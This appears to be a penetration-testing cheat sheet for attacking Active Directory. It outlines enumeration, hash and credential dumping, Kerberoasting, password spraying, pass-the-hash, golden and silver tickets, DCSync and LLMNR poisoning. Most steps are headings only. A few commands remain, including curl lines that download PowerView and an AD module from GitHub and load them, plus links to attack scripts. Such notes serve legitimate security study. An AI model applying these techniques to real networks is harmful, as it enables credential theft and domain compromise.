Page cover

Active Directory

Enumeration

-> Enumerate all users in the entire domain

net user /domain

-> Get information from a specific user

net user <user> /domain

-> Enumerate all groups in the entire domain

net group /domain

-> Get members of local group

Get-NetLocalGroup -ComputerName <domain> -Recurse (PowerView)

-> Find out domain controller hostname

[System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()

-> Configure ActiveDirectory Module - RSAT

curl https://raw.githubusercontent.com/samratashok/ADModule/master/ActiveDirectory/ActiveDirectory.psd1 -o ActiveDirectory.psd1  
curl https://github.com/samratashok/ADModule/blob/master/Microsoft.ActiveDirectory.Management.dll?raw=true -o Microsoft.ActiveDirectory.Management.dll  
Import-Module .\Microsoft.ActiveDirectory.Management.dll  
Import-Module .\ActiveDirectory.psd1  

-> Configure PowerView Module

curl https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1 -o PowerView.ps1
. .\PowerView.ps1

-> Last logon

-> List Computers

-> Add domain user to a domain group

-> Enumeration script for all AD users, along with all properties for those user accounts.

-> Enumerate logged users

https://github.com/PowerShellEmpire/PowerTools/blob/master/PowerView/powerview.ps1arrow-up-right

-> Enumerate all active sessions

Enumeration Through Service Principal Names

https://raw.githubusercontent.com/compwiz32/PowerShell/master/Get-SPN.ps1arrow-up-right

Remote Access

Remote Desktop Protocol - RDP

-> Create a user

-> Add to local administrators group

-> Add to group of users who can access via RDP

-> Enable RDP

-> move to another user

-> xfreerdp via RDP with sharing in \\tsclient\share\

-> rdesktop via RDP

-> evil-winrm

Cached Credential Storage and Retrieval

-> Dump the credentials of all connected users, including cached hashes

-> Mix

Extracting hashes

Intro

-> SAM - Security Account Manager (Store as user accounts) %SystemRoot%/system32/config/sam -> NTDS.DIT (Windows Server / Active Directory - Store AD data including user accounts) %SystemRoot%/ntds/ntds.dit -> SYSTEM (System file to decrypt SAM/NTDS.DIT) %SystemRoot%/system32/config/system -> Backup - Sistemas antigos como XP/2003: C:\Windows\repair\sam and C:\Windows\repair\system

Get sam and system by registry (From old versions to recent versions)

-> transfer sam and syste via sharing files via SMB -> Configuring smb server 1

-> Configuring smb server 2

https://raw.githubusercontent.com/SecureAuthCorp/impacket/master/examples/smbserver.pyarrow-up-right

-> View smb enumeration

Volume shadow copy (Windows Server \ recent versions)

-> vssadmin

-> meterpreter

-> samdump2 (Win 2k/NT/XP/Vista SAM)

-> impacket-secretsdump

Extracting Hashes in Domain and Pivoting

-> Dump the credentials of all connected users, including cached hashes

-> mimikatz + ScriptBlock

or

Extracting Hashes in cache

-> fgdump

/usr/share/windows-binaries/fgdump/fgdump.exe

-> meterpreter

-> wce-universal (Clear Text password)

/usr/share/windows-resources/wce/wce-universal.exe

-> mimikatz

-> mimikatz - meterpreter

Extracting Hashes (Remote)

Service Account Attacks

-> Sow user tickets that are stored in memory

-> Display all cached Kerberos tickets for the current user

-> Export service tickets from memory

-> Wordlist Attack with tgsrepcrack.py to get the clear text password for the service account

or

https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Kerberoast.ps1arrow-up-right

Password Spraying

https://web.archive.org/web/20220225190046/https://github.com/ZilentJack/Spray-Passwords/blob/master/Spray-Passwords.ps1arrow-up-right

Enumeration - BloodHound

-> Install - Attacker VM

-> neo4j start - http://localhost:7474/arrow-up-right

-> Enumeration - Windows

Access Validation

-> Validation of network user credentials via smb using crackmmapexec

-> Connect via smbclient

-> smbmap

-> See read permission of given user on smb shares

AS-REP Roasting Attack - not require Pre-Authentication

-> kerbrute - Enumeration Users

https://raw.githubusercontent.com/Sq00ky/attacktive-directory-tools/master/userlist.txtarrow-up-right

-> GetNPUsers.py - Query ASReproastable accounts from the KDC

Kerberoast

-> impacket-GetUserSPNs

or

or

Active Directory Lateral Movement

Pass the Hash

-> Allows an attacker to authenticate to a remote system or service via a user's NTLM hash

-> Remote Access - impacket-psexec

-> Remote Access + evil-winrm

Over Pass the Hash

-> Allows an attacker to abuse an NTLM user hash to obtain a full Kerberos ticket granting ticket (TGT) or service ticket, which grants us access to another machine or service as that user

-> Command execution with psexec

Silver Ticket - Pass the Ticket

-> It is a persistence and elevation of privilege technique in which a TGS is forged to gain access to a service in an application.

-> Get SID

or

-> Get Machine Account Hash

-> Exploitation mimikatz.exe

or

Golden Ticket - Pass the Ticket

-> It is a persistence and elevation of privilege technique where tickets are forged to take control of the Active Directory Key Distribution Service (KRBTGT) account and issue TGT's.

-> Get hash krbtgt

-> Get SID

or

-> Exploitation

DCSync Attack

-> The DCSync attack consists of requesting a replication update with a domain controller and obtaining the password hashes of each account in Active Directory without ever logging into the domain controller.

NetNTLM Authentication Exploits with SMB - LLMNR Poisoning - Capturing hash in responder

Responder allows you to perform Man-in-the-Middle attacks by poisoning responses during NetNTLM authentication, making the client talk to you instead of the real server it wants to connect to. On a real lan network, the responder will attempt to poison all Link-Local Multicast Name Resolution (LLMNR), NetBIOS Name Server (NBT-NS), and Web Proxy Auto-Dscovery (WPAD) requests detected. NBT-NS is the precursor protocol to LLMNR.

Last updated